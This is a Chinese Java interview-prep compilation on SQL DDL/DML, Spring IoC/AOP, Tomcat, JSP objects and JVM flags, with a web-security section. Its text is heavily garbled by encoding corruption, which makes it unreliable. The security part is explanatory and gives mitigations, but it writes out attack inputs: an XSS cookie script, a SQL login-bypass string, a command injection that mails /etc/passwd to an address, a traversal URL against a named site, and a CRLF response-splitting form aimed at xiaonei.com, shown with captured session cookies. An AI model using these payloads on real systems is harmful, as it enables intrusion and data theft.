drop語句將刪除表的結(jié)構(gòu)被依賴的約束(constrain),觸發(fā)器(trigger),索引(index); ?
依賴于該表的存儲過程/函數(shù)將保留,但是變?yōu)閕nvalid無效狀態(tài) ?
??
delete語句是DML,這個(gè)操作會放到rollback segement回滾段中,事務(wù)提交之后才生效;如果有相應(yīng)的trigger,執(zhí)行的時(shí)候?qū)⒈挥|發(fā) ?
truncate,drop是DDL,操作立即生效,原數(shù)據(jù)不放到rollback segment中,不能回滾,操作不觸發(fā)trigger ?
??
速度,一般來說:drop > truncate > delete ?
??
delete是DML語句,不會自動提交 ?
drop,truncate都是DDL(數(shù)據(jù)定義語言)語句,執(zhí)行后會自動提交 ?
??
問題8、IOC和工廠模式的區(qū)別? ?
??
使用Spring框架中IOC能得到與工廠模式同樣的效果,而且編碼更加簡潔、靈活和方便。 ?
除非重新編譯,否則無法對“產(chǎn)品的實(shí)現(xiàn)類”進(jìn)行替換,必須重新編譯工廠類來達(dá)到所要求的改變,但這樣將使得原本可以取得的易用性將大大降低 ?
無法在單例和原型之間切換產(chǎn)品對象實(shí)例產(chǎn)生的模式 ?
無法透明地為不同的產(chǎn)品組件類提供多種不同形式的實(shí)現(xiàn)。這是開發(fā)者在應(yīng)用工廠模式時(shí)比較頭疼的一個(gè)問題,因?yàn)楣S模式中的工廠類要求每個(gè)產(chǎn)品組件類都必須遵從在產(chǎn)品接口中定義的方法和結(jié)構(gòu)特征。一個(gè)接口常常意味著一個(gè)生成工廠,當(dāng)接口為多個(gè)時(shí),將會出現(xiàn)許多不同的工廠類。 ?
??
2013年8月28日:萬迅電腦軟件 ?
??
問題1、JSP經(jīng)Tomcat編譯后的.class文件位置? ?
??
? ? ? ? ? ? ??
??
Tomcat將JSP編譯成Servlet后的文件存放在\work\Catalina目錄下,例如jsp文件\webapps\hh\h.jsp,編譯后路徑為: ?
\work\Catalina\localhost\hh\org\apache\jsp\h_jsp.java ?
?
Servlet文件和.class文件都在同一目錄下,文件名一般會被更改,改名規(guī)則為: index.jsp會改成index_jsp.class,以此類推。 ?
??
問題2、Session默認(rèn)過期時(shí)間如何修改? ?
??
程序中Session都有一個(gè)默認(rèn)的過期時(shí)間,其中Tomcat中的默認(rèn)時(shí)間為30分鐘,根據(jù)需要我們可以去手動設(shè)置Session的過期時(shí)間,以下是設(shè)置Session的過期時(shí)間的三個(gè)方法: ?
??
1、在Tomcatconfconf/web.xm中的<session-config>中設(shè)置: ?
? ? <session-config> ?
? ? ? ? <session-timeout>30</session-timeout> ?
? ? </session-config> ?
2、在項(xiàng)目的web.xml中定義: ?
? ? <session-config> ?
? ? ? ? <session-timeout>20</session-timeout> ?
? ? </session-config> ?
注:20則設(shè)置過期時(shí)間為20分鐘 ?
3.在程序中定義: ?
session.setMaxInactiveInterval(30*60); ?
??
問題3、請講述有四種會話跟蹤技術(shù)? ?
??
隱藏表單域、URL重寫、Cookie、Session ?
??
隱藏表單域: ?
將會話ID添加到HTML表單元素中提交到服務(wù)器,此表單元素并不在客戶端顯示<input hidden> ?
URL 重寫: ?
URL(統(tǒng)一資源定位符)是Web上特定頁面的地址,URL重寫的技術(shù)就是在URL結(jié)尾添加一個(gè)附加數(shù)據(jù)以標(biāo)識該會話,把會話ID通過URL的信息傳遞過去,以便在服務(wù)器端進(jìn)行識別不同的用戶 ?
Cookie: ?
Cookie是Web服務(wù)器發(fā)送給客戶端的一小段信息,客戶端請求時(shí)可以讀取該信息發(fā)送到服務(wù)器端,進(jìn)而進(jìn)行用戶的識別。對于客戶端的每次請求,服務(wù)器都會將Cookie發(fā)送到客戶端,在客戶端可以進(jìn)行保存,以便下次使用 ?
客戶端可以采用兩種方式來保存這個(gè)Cookie對象,一種方式是 保存在客戶端內(nèi)存中,稱為臨時(shí)Cookie,瀏覽器關(guān)閉后 這個(gè)Cookie對象將消失。另外一種方式是保存在客戶機(jī)的磁盤上,稱為永久Cookie。以后客戶端只要訪問該網(wǎng)站,就會將這個(gè)Cookie再次發(fā)送到服務(wù)器上,前提是這個(gè)Cookie在有效期內(nèi)。這樣就實(shí)現(xiàn)了對客戶的跟蹤 ?
Cookie是可以被禁止的 ?
Session: ?
使用setAttribute(String str,Object obj)方法將對象捆綁到一個(gè)會話(在會話中可以保存任意類型的對象,但因?yàn)闀捒赡鼙恍蛄谢?#xff0c;最好讓會話對象實(shí)現(xiàn) java.io.Serializable接口 ?
使用getArrtibute(String str)方法從一個(gè)會話中檢索對象 ?
使用removeAttribute(String str)方法從一個(gè)會話中銷毀對象 ?
使用setMaxInactiveInteral()方法設(shè)置會話的有效期,默認(rèn)為30分鐘(在web.xml中配置) ?
使用invalidate()方法將會話所有捆綁的對象解縛。 ?
??
問題4、如果不用Spring如何實(shí)現(xiàn)AOP和IOC功能? ?
??
說到底,IOC就是反射,實(shí)例化指定類;AOP就是攔截,一系列的過濾器 ?
IOC:工廠模式通過讀取配置文件創(chuàng)建實(shí)例結(jié)合反射使用,在配置文件里面配置要實(shí)例化的對象的全路徑 ?
??
AOP:意為面向切面的編程,可以為某一類對象進(jìn)行監(jiān)督和控制,也就是調(diào)用你這個(gè)對象的方法前或者方法后,去調(diào)用你指定的模塊從而達(dá)到一個(gè)對模塊擴(kuò)充的功能,一般用來做權(quán)限控制和日志記錄等等,不用AOP的話,Struts2的攔截器也可以實(shí)現(xiàn),不用Struts2,也可以直接用過濾器 ?
??
補(bǔ)充: ?
AOP(Aspect-Oriented Programming,面向切面的編程),它是可以通過預(yù)編譯方式和運(yùn)行期動態(tài)代理實(shí)現(xiàn)在不修改源代碼的情況下給程序動態(tài)統(tǒng)一添加功能的一種技術(shù)。它是一種新的方法論,它是對傳統(tǒng)OOP編程的一種補(bǔ)充。 ?
??
IoC,(Inverse of Control)控制反轉(zhuǎn),其包含兩個(gè)內(nèi)容:其一是控制,其二是反轉(zhuǎn)。在程序中,被調(diào)用類的選擇控制權(quán)從調(diào)用它的類中移除,轉(zhuǎn)交給第三方裁決,它是一種設(shè)計(jì)模式,通過Java反射技術(shù)實(shí)現(xiàn)。 ?
??
??
問題5、寫出你所知道JSP內(nèi)置對象的方法? ?
??
Request對象: ?
客戶端的請求信息被封裝在Request對象中,通過它才能了解到客戶的需求,然后做出響應(yīng)。它是HttpServletRequest類的實(shí)例 ?
??
getSession 獲取當(dāng)前的會話 ?
setAttribute(String key,Object obj) 將一個(gè)對象綁定到request中指定的name屬性 ?
getAttribute(String name) 該方法返回由name指定的屬性值,如果指定的屬性值不存在,則返回null ?
getParameter(String name) ??
該方法用于獲得客戶端傳送給服務(wù)器端的參數(shù),該參數(shù)有name指定,通常是表單中的參數(shù) ?
setCharacterEncoding(String type)重載正文中使用的字符編碼 ?
注:在用request.getParameter()獲取中文數(shù)據(jù)前,要先用request.setCharacterEncoding("utf-8");設(shè)定字符編碼,如果不設(shè)定則有可能出現(xiàn)亂碼! ?
??
Response對象 ??
Response對象包含了響應(yīng)客戶請求的有關(guān)信息,但在JSP中很少直接用到它。它是HttpServletResponse類的實(shí)例 ?
??
addCookie(Cookie cook) 添加一個(gè)Cookie對象,用來保存客戶端的用戶信息 ?
sendRedirect(java.lang.String location) 重新定向客戶端的請求 ?
addHeader(String name,String value) 添加Http響應(yīng)頭信息 ?
該Header信息將傳達(dá)到客戶端,如果已經(jīng)存在同名的則會覆蓋 ?
setHeader(String name,String value) 設(shè)置指定名字的Http響應(yīng)頭的值,若存在則會覆蓋 ?
??
Session對象 ??
Session對象指的是客戶端與服務(wù)器的一次會話,從客戶連到服務(wù)器的一個(gè)WebApplication開始,直到客戶端與服務(wù)器斷開連接為止。它是HttpSession類的實(shí)例 ?
??
String getId() 返回Session創(chuàng)建時(shí)JSP引擎為它設(shè)的唯一ID號 ?
invalidate() 取消Session,使Session不可用,銷毀Session ?
setMaxInactiveInterval() 設(shè)置Session的失效時(shí)間,單位是ms毫秒,1秒=1000毫秒 ?
getAttribute(String name) 返回與指定名稱相聯(lián)系的屬性 ?
setAttribute(String name, Object ob) 將一個(gè)對象綁定到會話中指定的name屬性 ?
removeAttribute(String name) 刪除綁定到對話中指定名稱的對象 ?
??
Out對象 ?
Out對象是JspWriter類的實(shí)例,是向客戶端輸出內(nèi)容常用的對象 ?
??
這個(gè)對象最常用的方法只有兩個(gè):out.print("...") out.println("...") ?
用途都是向客戶端發(fā)送信息,即,在瀏覽器中顯示信息。很多時(shí)候動態(tài)生成網(wǎng)頁都由該語句實(shí)現(xiàn),如: ?
out.println("<table><tr><td>動態(tài)生成</td></tr></table>"); ?
??
clear() 清除緩沖區(qū)里的數(shù)據(jù),但不會把數(shù)據(jù)輸出到客戶端 ?
clearBuffer() 清除緩沖區(qū)里的數(shù)據(jù),并把數(shù)據(jù)輸出到客戶端 ?
close() 關(guān)閉輸出流 ?
flush() 輸出緩沖區(qū)里的數(shù)據(jù) ?
newLine() 換行,相當(dāng)于\n ?
??
Page對象 ?
Page對象就是指向當(dāng)前JSP頁面本身,有點(diǎn)象類中的this指針,它是java.lang.Object類的實(shí)例 ?
??
getClass 返回此Object的類 ??
hashCode() 返回此Object的hash碼 ??
equals(Object obj) 判斷此Object是否與指定的Object對象相等 ??
copy(Object obj) 把此Object拷貝到指定的Object對象中 ??
clone() 克隆此Object對象 ??
toString() 把此Object對象轉(zhuǎn)換成String類的對象 ??
notify() 喚醒一個(gè)等待的線程 ??
notifyAll() 喚醒所有等待的線程 ??
wait(int timeout) 使一個(gè)線程處于等待直到timeout結(jié)束或被喚醒 ??
wait() 使一個(gè)線程處于等待直到被喚醒 ??
enterMonitor() 對Object加鎖 ??
exitMonitor() 對Object開鎖 ??
??
Application對象 ??
Application對象實(shí)現(xiàn)了用戶間數(shù)據(jù)的共享,可存放全局變量。它開始于服務(wù)器的啟動,直到服務(wù)器的關(guān)閉,在此期間,此對象將一直存在;這樣在用戶的前后連接或不同用戶之間的連接中,可以對此對象的同一屬性進(jìn)行操作;在任何地方對此對象屬性的操作,都將影響到其他用戶對此的訪問。服務(wù)器的啟動和關(guān)閉決定了Application對象的生命。它是ServletContext類的實(shí)例 ?
??
getAttribute(String name) 返回給定名的屬性值 ?
setAttribute(String name,Object obj) 設(shè)定屬性的屬性值 ?
removeAttribute(String name) 刪除一屬性及其屬性值 ?
getResource(String path) 返回指定資源(文件及目錄)的URL路徑 ?
getResourceAsStream(String path) 返回指定資源的輸入流 ?
getRequestDispatcher(String uripath) 返回指定資源的RequestDispatcher對象 ?
??
Exception對象 ?
Exception對象是一個(gè)例外對象,當(dāng)一個(gè)頁面在運(yùn)行過程中發(fā)生了例外,就產(chǎn)生這個(gè)對象。如果一個(gè)JSP頁面要應(yīng)用此對象,就必須把isErrorPage設(shè)為true,否則無法編譯。他實(shí)際上是java.lang.Throwable的對象 ??
??
getMessage() 返回描述異常的消息 ?
toString() 返回關(guān)于異常的簡短描述消息 ?
printStackTrace() 顯示異常及其棧軌跡 ?
??
PageContext對象 ??
PageContext對象提供了對JSP頁面內(nèi)所有的對象及名字空間的訪問,也就是說他可以訪問到本頁所在的SESSION,也可以取本頁面所在的Application的某一屬性值,他相當(dāng)于頁面中所有功能的集大成者,它的本類名也叫PageContext ?
??
getOut() 返回當(dāng)前客戶端響應(yīng)被使用的JspWriter流(out) ??
getSession() 返回當(dāng)前頁中的HttpSession對象(session) ??
getPage() 返回當(dāng)前頁的Object對象(page) ??
getRequest() 返回當(dāng)前頁的ServletRequest對象(request) ??
getResponse() 返回當(dāng)前頁的ServletResponse對象(response) ??
getException() 返回當(dāng)前頁的Exception對象(exception) ??
getServletConfig() 返回當(dāng)前頁的ServletConfig對象(config) ??
getServletContext() 返回當(dāng)前頁的ServletContext對象(application) ??
??
setAttribute(String name,Object attribute) 設(shè)置屬性及屬性值 ??
setAttribute(String name,Object obj,int scope) 在指定范圍內(nèi)設(shè)置屬性及屬性值 ??
Object getAttribute(String name) 取屬性的值 ??
getAttribute(String name,int scope) 在指定范圍內(nèi)取屬性的值 ??
Object findAttribute(String name) 尋找一屬性,返回起屬性值或NULL ??
removeAttribute(String name) 刪除某屬性 ??
removeAttribute(String name,int scope) 在指定范圍刪除某屬性 ??
??
forward(String relativeUrlPath) 轉(zhuǎn)發(fā) ??
include(String relativeUrlPath) 在當(dāng)前位置包含另一文件 ??
??
Config對象 ?
Config對象是在一個(gè)Servlet初始化時(shí),JSP引擎向它傳遞信息用的,此信息包括Servlet初始化時(shí)所要用到的參數(shù)(通過屬性名和屬性值構(gòu)成)以及服務(wù)器的有關(guān)信息(通過傳遞一個(gè)ServletContext對象) ?
??
getServletContext() 返回含有服務(wù)器相關(guān)信息的ServletContext對象 ??
getInitParameter(String name) 返回初始化參數(shù)的值 ??
getInitParameterNames() 返回Servlet初始化所需所有參數(shù)的枚舉 ?
??
問題6、Java啟動參數(shù)Xms和Xmx的含義? ?
??
參數(shù)名 含義 ? ? ? ? ? ? ?默認(rèn)值 ?
Xms ? ? 初始堆大小 ? ? ? ? ? 物理內(nèi)存的1/64(<1GB) ?
Xmx ? ? 最大堆大小 ? ? ? ? ? 物理內(nèi)存的1/4(<1GB) ?
Xmn ? ? 年輕代大小 ? ? ? ? ? ??
Xss ? ? 每個(gè)線程的堆棧大小 ?
??
問題7、對于Web應(yīng)用安全的理解?以下是大分類,采用問題7-1、問題7-2開頭,以此類推,為系列問題。 ?
問題7-1、 ?跨站腳本攻擊(CSS or XSS, Cross Site Scripting)——注入 ?
??
相信絕大多數(shù)人對跨站腳本弱點(diǎn)已經(jīng)早有耳聞。2006年全球網(wǎng)絡(luò)安全弱點(diǎn)Top10排名當(dāng)中,它榮登榜首!為什么它有如此之大的影響力呢?個(gè)人覺得原因有三: ?
1、攻擊難度小,不管是技術(shù)還是實(shí)現(xiàn)攻擊的成本上都比較容易 ?
2、它存在的載體(瀏覽器)使用極其廣泛 ?
3、它所依賴的技術(shù)被廣泛的應(yīng)用與支持(JavaScript,VB Script, HTML,ActiveX, Flash) ?
??
說了這么多,它到底是什么呢? ?
??
XSS是一種存在Web應(yīng)用中,允許黑客以最終用戶的身份向Web應(yīng)用注入惡意腳本,以愚弄其他用戶或獲取其他用戶重要數(shù)據(jù)和隱私信息為目的的一種攻擊形式。 ?
??
XSS可使用的技術(shù)有JavaScript、VBScript、 ActiveX、 或 Flash, 且通常通過頁面表單提交注入到web應(yīng)用中并最終在用戶的瀏覽器客戶端執(zhí)行。例如,一個(gè)沒有經(jīng)過安全設(shè)計(jì)并實(shí)現(xiàn)的論壇,當(dāng)你在跟貼時(shí)在正文輸入這樣的代碼: ?
< script>alert(document.cookie);</script> ?
??
當(dāng)其它用戶瀏覽時(shí)便會彈出一個(gè)警告框,內(nèi)容顯示的是瀏覽者當(dāng)前的cookie串。 ?
??
試想如果我們注入的不是以上這個(gè)簡單的測試代碼,而是一段經(jīng)常精心設(shè)計(jì)的惡意腳本,當(dāng)用戶瀏覽此帖時(shí),cookie信息就可能成功的被攻擊者獲取。此時(shí)瀏覽者的帳號就很容易被攻擊者掌控了。 ?
??
不管是上述的哪一種技術(shù)實(shí)現(xiàn)的XSS攻擊,最終都離不開這三點(diǎn): ?
1、是瀏覽器的解析 ? 2、是腳本語法 3、是腳本需要一定的長度 ?
??
對于瀏覽器的解析是不在話下了,我不能因?yàn)檫@各類型問題的存在就改寫瀏覽器使其不支持腳本解析。 ?
??
所以,能做就是控制腳本注入的語法要素。比如:JavaScript離不開:< 、 > 、 ( 、 ) 、;...等等,所以我們只需要在輸入或輸出時(shí)對其進(jìn)行字符過濾或轉(zhuǎn)義處理就可以了。一般我們會采用轉(zhuǎn)義的方式來處理,轉(zhuǎn)義字符是會使用到HTML的原始碼,因?yàn)樵即a是可以被瀏覽器直接識別的,所以使用起來非常方便。 ?
??
允許可輸入的字符串長度限制也可以一定程度上控制腳本注入。比如:頁面表單中姓名,我可以只允許你輸入5個(gè)字符,請問你還有辦法進(jìn)行JavaScript的腳本注入嗎?顯然不行了。 ?
??
還需要您注意的是:我這里所述的過濾、檢測、限制等等策略,一定一定要在Web Server服務(wù)器那一端去完成,而不是使用客戶端的JavaScript或者VBScript...去做簡單的檢查。因?yàn)檎嬲墓粽卟粫H僅依賴于瀏覽器去做攻擊,而更多的往往是借助于第三方工具,根本就可以繞過你精心設(shè)計(jì)制作的客戶端JavaScript進(jìn)行過濾、檢測或限制手段的。 ?
??
問題7-2、SQL注入攻擊(SQL injection)——注入 ?
??
早在十幾年前,基于數(shù)據(jù)庫的Web應(yīng)用剛剛盛行的時(shí)候,幾乎所有的開發(fā)商都忽略了SQL注入弱點(diǎn),導(dǎo)致當(dāng)時(shí)絕大多數(shù)的網(wǎng)站的登錄入口形同虛設(shè)!為什么呢?先給一個(gè)小小的例子,假如以下SQL代碼是用來在網(wǎng)站登錄入口入執(zhí)行用戶驗(yàn)證時(shí)的查詢代碼: ?
?
SELECT count(*) ?
FROM users_list_table ?
WHERE username='USERNAME' ?
AND password='PASSWORD' ?
??
以上的USERNAME就是我們登錄時(shí)提供的用戶名,PASSWORD就是我們登錄時(shí)提供的密碼。當(dāng)用戶輸入正確的用戶名和密碼時(shí),這條語句的執(zhí)行結(jié)果將為真(True),否則為假(False),當(dāng)然為真時(shí)我們就認(rèn)為認(rèn)證通過,為假時(shí)就認(rèn)為認(rèn)證失敗,即非法登錄。試想一下,如果我在輸入用戶名和密碼的時(shí)候輸入如下的內(nèi)容: ?
?
用戶名:a' or 'a'='a ?
密碼:a' or 'a'='a ?
??
用代入法把用戶名和密碼輸入值代入到上述的SQL腳本里結(jié)果如下: ?
??
SELECT count(*) ?
FROM users ?
WHERE username='a' or 'a'='a' ?
AND password='a' or 'a'='a' ?
??
相信稍懂一點(diǎn)兒SQL語句的人都知道,這條語句的執(zhí)行結(jié)果就永遠(yuǎn)是真了!此時(shí)你不需要有帳號,就直接登錄成功了!你對此漏洞理解的深度同樣取決于你的對SQL語句的技能和Web安全知識能力。一個(gè)具有良好技能的攻擊者可能利用此漏洞獲取后臺DB的結(jié)構(gòu)并逐步獲取DB的信息。 ?
??
總結(jié)一下:SQL注入弱點(diǎn)是存在基于數(shù)據(jù)庫的Web應(yīng)用中,黑客利用精心組織的SQL語句,通過Web接口(通常指我們的Web頁面的表單)注入的Web應(yīng)用中,從而獲取后臺DB的訪問與存取權(quán)的一種安全弱點(diǎn)。 ?
??
簡要的解決方案: ?
剛剛介紹了XSS,在這里關(guān)于SQLInjection我想就無需多說了,都是過濾、合法性檢查和長度限制等通用方法。 ?
有沒有注意到,XSS和SQL Injection,雖然名字不一樣,但它們似乎都屬于我前一篇文章《解讀Web安全性問題的本質(zhì)》中的第一部分,即輸入/輸出驗(yàn)證。下面將要介紹的遠(yuǎn)程命令執(zhí)行、目錄遍歷和文件包含同樣也是輸入/輸出驗(yàn)證問題。 ?
??
問題7-3、遠(yuǎn)程命令執(zhí)行(Code execution,個(gè)人覺得譯成代碼執(zhí)行并不確切) ?
??
先不解釋它的概念,我們先假設(shè)這樣一個(gè)用戶使用場景: ?
??
有一個(gè)站點(diǎn)的管理入口功能非常強(qiáng)大,大到什么程度呢?可以重啟Web服務(wù)器。 ?
??
你能想出來它是如何實(shí)現(xiàn)的嗎?我們知道不管是PHP還是JSP,我們都可以在服務(wù)器通過Shell調(diào)用系統(tǒng)(Linux or Windows)命令,等命令執(zhí)行后,將執(zhí)行結(jié)果返回給客戶端。其實(shí)我們通過Web Page的管理入口管理服務(wù)器端的各種服務(wù)就是通過類似這種渠道完成的。 ?
??
這里會有什么問題?比如我們要重啟apache,假如系統(tǒng)是通過這個(gè)命令來完成的: ?
??
/$path/./apche -restart ?
??
這里的$path是Web應(yīng)用程序的基準(zhǔn)路徑(比如:apache上的documentroot),它的實(shí)現(xiàn)方式是這樣的:通過用戶瀏覽器客戶端傳送一個(gè)命令串給Web Server,Web Server通過調(diào)用shell來執(zhí)行傳過來的命令。 ?
??
試想,如果我通過瀏覽器客戶端強(qiáng)行傳送一個(gè):restart, shutdown之類的命令給Server,結(jié)果會是什么樣子? ?
??
這只是起一個(gè)小小的破壞作用,那如果我傳送一個(gè):mail abc@abc.abc </etc/passwd,執(zhí)行結(jié)果是什么? ?
??
結(jié)果是將linux系統(tǒng)的passwd文件(linux系統(tǒng)用戶信息)發(fā)送到指定的郵箱abc@abc.abc。是不是很可怕呢? ?
??
這就是遠(yuǎn)程命令執(zhí)行漏洞的一個(gè)小小的典型例子。 ?
??
至于它的更深遠(yuǎn)的安全隱患在哪里還需要你有更多的相關(guān)基礎(chǔ)知識才能夠得以深入理解和運(yùn)用(比如:Web server OS, Web Service-apache/weblogic/tomcat...相關(guān)的使用技能)。 ?
??
總結(jié)一下:遠(yuǎn)程命令執(zhí)行漏洞一般發(fā)生在Web系統(tǒng)允許用戶通過Web應(yīng)用接口訪問與管理Web服務(wù)器且沒有經(jīng)過嚴(yán)格的輸入驗(yàn)證與過濾的情況下的一種Web應(yīng)用安全漏洞。 ?
??
簡要的解決方案: ?
嚴(yán)格限制運(yùn)行Web服務(wù)的用戶權(quán)限。 ?
??
就是說你的Web應(yīng)用可以訪問你的服務(wù)器系統(tǒng)的用戶權(quán)限。一般情況一下,我們應(yīng)該以白名單的形式介定Web應(yīng)用可以訪問服務(wù)器系統(tǒng)的權(quán)限。這樣控制可以從系統(tǒng)級達(dá)到安全防范的效果。 ?
??
嚴(yán)格執(zhí)行用戶輸入的合法性檢查。 ?
??
這里的輸入不一定是你通過表單從鍵盤輸入,往往是Web應(yīng)用已經(jīng)內(nèi)定了某一些操作供您選擇,而此時(shí)你可以通過Http抓包的方式獲取Http請求信息包經(jīng)改裝后重新發(fā)送。 ?
??
問題7-4、目錄遍歷(Directory traversal) ?
??
部分朋友應(yīng)該知道之前我在我的blog里公布了ah163.net上的一個(gè)安全漏洞,安全級別高:極度危險(xiǎn),由于我沒有公布細(xì)節(jié),大家都比較好奇想知道是什么。出于對同行的尊重我就刪除了漏洞公布這一欄的內(nèi)容了。我已經(jīng)通知ah163.net的同行了,他們已經(jīng)fix那個(gè)問題。 ?
??
今天我們就講講這個(gè)漏洞,love.ah163.net上有網(wǎng)絡(luò)硬盤服務(wù),當(dāng)注冊用戶登錄并開通網(wǎng)絡(luò)硬盤服務(wù)后,即可進(jìn)入自己的硬盤管理界面,我們來看看它是如何進(jìn)入某一個(gè)目錄的,以下是進(jìn)入某一目錄的URL: http://love.ah163.net/Personal_Spaces_List.php?dir=MyFolder ?
??
那現(xiàn)在我把這個(gè)URL改裝一下: ?
http://love.ah163.net/Personal_Spaces_List.php?dir=../../../../../../../../../../../../../usr/local/apache/conf/ ?
??
在瀏覽器里運(yùn)行它,會是什么結(jié)果呢?結(jié)果是:/usr/local/apache/conf/里的所有文件都老老實(shí)實(shí)的列出來了,通過這種方式,你可以發(fā)揮你的想象了,服務(wù)器上的東東是不是都差不多可以列出來了?告訴你,還可以隨便下載呢!網(wǎng)絡(luò)硬盤嘛,就是用來上傳下載的,所以它提供的功能很完備,破壞性也就很強(qiáng)了。至于它的危害有多大,你自己想去吧,我就不危言聳聽了。 ?
??
簡要的解決方案: ?
1、同樣是限制Web應(yīng)用在服務(wù)器上的運(yùn)行 ??
??
2、進(jìn)行嚴(yán)格的輸入驗(yàn)證,控制用戶輸入非法路徑 ?
??
問題7-5、http請求頭的額外的回車換行符注入(CRLF injection/HTTP response splitting) ?
??
CRLF:Carriage-Return Line-Feed 回車換行 ?
HTTP response splitting:HTTP 響應(yīng)頭分割 ?
??
為了講清楚這個(gè)問題,首先我們來看一個(gè)校內(nèi)網(wǎng)的XSS。 ?
??
漏洞出在 http://login.xiaonei.com ?
??
正常情況下,用戶名處是已經(jīng)htmlencode過了的 ?
(實(shí)際上 a<script>這里是 htmlencode過的) ?
??
接下來隨便在什么站上構(gòu)造如下form: ?
??
??
< form id="x" action="http://login.xiaonei.com/Login.do?email=a%0d%0a%0d%0a<script>alert(/XSS/);</script>" method="post"> ? ?<!-- input name="email" value="" / --> ? ?<input name="password" value="testtest" /> ? ?<input name="origURL" value="http%3A%2F%2Fwww.xiaonei.com%2FSysHome.do%0d%0a" /> ? ?<input name="formName" value="" /> ? ?<input name="method" value="" /> ? ?<input type="submit" value="%E7%99%BB%E5%BD%95" /></form> ?
??
提交該表單 ?
??
將造成一個(gè)XSS ?
??
??
抓包看到數(shù)據(jù)是這樣構(gòu)成的 ?
POST http://login.xiaonei.com/Login.do?email=a%0d%0a%0d%0a<script>alert(/XSS/);</script> HTTP/1.1 ?
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */*Referer: http://www.a.com/test.htmlAccept-Language: zh-cnContent-Type: application/x-www-form-urlencodedUA-CPU: x86Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)Proxy-Connection: Keep-AliveContent-Length: 103Host: login.xiaonei.comPragma: no-cacheCookie: __utmc=204579609; XNESSESSIONID=abcThVKoGZNy6aSjWV54r; _de=axis@ph4nt0m.org; __utma=204579609.2036071383.1229329685.1229336555.1229347798.4; __utmb=204579609; __utmz=204579609.1229336555.3.3.utmccn=(referral)|utmcsr=a.com|utmcct=/test.html|utmcmd=referral; userid=246859805; univid=20001021; gender=1; univyear=0; hostid=246859805; xn_app_histo_246859805=2-3-4-6-7; mop_uniq_ckid=121.0.29.225_1229340478_541890716; syshomeforreg=1; id=246859805; BIGipServerpool_profile=2462586378.20480.0000; _de=a; BIGipServerpool_profile=2462586378.20480.0000password=testtest&origURL=http%253A%252F%252Fwww.xiaonei.com%252FSysHome.do%250d%250a&formName=&method=HTTP/1.1 200 OKServer: Resin/3.0.21Vary: Accept-EncodingCache-Control: no-cachePragma: no-cacheExpires: Thu, 01 Jan 1970 00:00:00 GMTSet-Cookie: kl=null; domain=.xiaonei.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMTSet-Cookie: societyguester=null; domain=.xiaonei.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMTSet-Cookie: _de=a<script>alert(/XSS/);</script>; domain=.xiaonei.com; expires=Thu, 10-Dec-2009 13:35:17 GMTSet-Cookie: login_email=null; domain=.xiaonei.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMTContent-Type: text/html;charset=UTF-8Connection: closeTransfer-Encoding: chunkedDate: Mon, 15 Dec 2008 13:35:17 GMT217b<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>...... ?
??
可以看到,實(shí)際上就是分割了http response 包的包頭, %0d%0a 是換行,從而插入了我們自己的數(shù)據(jù)。 ?
??
HTTP Response Splitting 是 CRLF Injection的一種.Carriage Return (CR, ASCII 13, ) Line Feed (LF, ASCII 10, ) ?
這兩個(gè)字符經(jīng)常被用來作為換行。在很多文本、語言里,都能這么用,所以CRLF是一種廣義的攻擊,用在HTTP響應(yīng)里,就是 HTTP Response Splitting ?
這已經(jīng)是非常古老的技術(shù)了,現(xiàn)在拿出來說,是因?yàn)榍皟商炜磒aper,發(fā)現(xiàn)提到IE8 的 XSS Filter沒有,也不會(微軟已確認(rèn))增加 CRLF + XSS 的防范。所以在這里只能依靠我們自己來對抗這種攻擊。需要指出的是,如果直接用我上面那個(gè)form,可能會測試失敗,這是因?yàn)樾?nèi)是有壓縮過HTTP包的客戶端瀏覽器(我的是IE7),提交包頭里有:Accept-Encoding: gzip, deflate所以服務(wù)器知道客戶端接受壓縮包,所以選擇了壓縮響應(yīng)包Content-Encoding: gzip這里是采用gzip壓縮格式,如果壓縮后,直接插入明文的html代碼,會報(bào)錯。在實(shí)施HTTP Response Splitting的時(shí)候,一般通過如下3個(gè)條件可以達(dá)成這種攻擊(當(dāng)然要沒過濾%0d%0a):1. Set-Cookie 中的內(nèi)容用戶可以控制2. 302跳轉(zhuǎn)的 Location 地址用戶可以控制3. 其他自定義Header 用戶可以控制上面舉的校內(nèi)網(wǎng)的例子就是第一種,在 Set-Cookie 中有個(gè)字段可以控制,而又沒過濾CR、LF實(shí)際上這里問題還不止如此,提交的參數(shù)中有一個(gè) <input name="origURL" value="http%3A%2F%2Fwww.xiaonei.com%2FSysHome.do%0d%0a" />此處將造成一個(gè) 302 跳轉(zhuǎn),滿足我們的第二個(gè)條件,這里也是可以控制的。第三個(gè)條件,自定義的header,這個(gè)不多見,但我也在大站里找到過案例,出于其他因素考慮,不在這里舉例了。 ?
GZIP的壓縮數(shù)據(jù)很討厭,導(dǎo)致我們必須要自己去壓縮數(shù)據(jù),然后想辦法提交上去,大大增加了攻擊的門檻。但是如果CRLF的時(shí)候處在 Content-Encoding: gzip 之前,則可以提交明文數(shù)據(jù),反之,則不能直接提交明文數(shù)據(jù)。比較萬能的跨站是直接在HTTP頭里插入新標(biāo)準(zhǔn)里的 Link 標(biāo)簽Link: <http://www.a.com/xss.css>; REL:stylesheet可以直接造成XSS ?
不光是XSS,HTTP Response Splitting 的嚴(yán)重性要高于XSS,因?yàn)槟苄薷腍TTP返回包頭,所以很可能造成跨域問題。設(shè)想我們插入一個(gè)P3P頭,然后再在一個(gè)別的域引用此處,則會造成隱私數(shù)據(jù)的跨域.此類問題非常之多,很多大站都有,不再舉例了。漏洞組合起來,威力絕對不止1+1=2這么簡單了。要防范很簡單,過濾或者替換 %0d%0a,對我上面列出的3個(gè)條件,檢查所有輸出。 ?
??
問題8、Web應(yīng)用程序安全性問題的本質(zhì)是什么,請說說你的理解? ?
??
相信大家都或多或少的聽過關(guān)于各種Web應(yīng)用安全漏洞,諸如:跨site腳本攻擊(XSS),SQL注入,上傳漏洞...形形色色. ?
